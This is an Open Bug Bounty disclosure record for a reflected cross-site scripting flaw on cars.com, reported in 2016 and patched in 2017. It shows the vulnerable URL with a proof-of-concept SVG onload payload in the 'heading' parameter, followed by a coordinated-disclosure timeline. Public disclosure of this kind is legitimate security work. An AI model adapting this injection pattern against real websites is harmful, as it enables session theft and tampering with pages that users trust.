cars.com XSS vulnerability

2016-06-25T18:42:00
ID OBB:161687
Type openbugbounty
Reporter et
Modified 2017-11-24T11:24:00

Description

Vulnerable URL:
http://www.cars.com/go/compare/trimBenefit.jsp?ids=1450657,1450078&heading;=1%22--%3E%3Csvg/onload=;prompt(/OPENBUGBOUNTY/);%3E
Details:

Description| Value
---|---
Patched:| Yes, at 24.11.2017
Latest check for patch:| 24.11.2017 11:24 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 1613
VIP website status:| Yes
Check cars.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 25 June, 2016 18:42 GMT
Generic security notifications sent to website owner| 25 June, 2016 18:44 GMT
Notification sent to subscribers (without technical details)| 25 June, 2016 22:17 GMT
Vulnerability details disclosed by researcher| 23 July, 2016 19:12 GMT
Vulnerability patched by the website owner| 24 November, 2017 11:24 GMT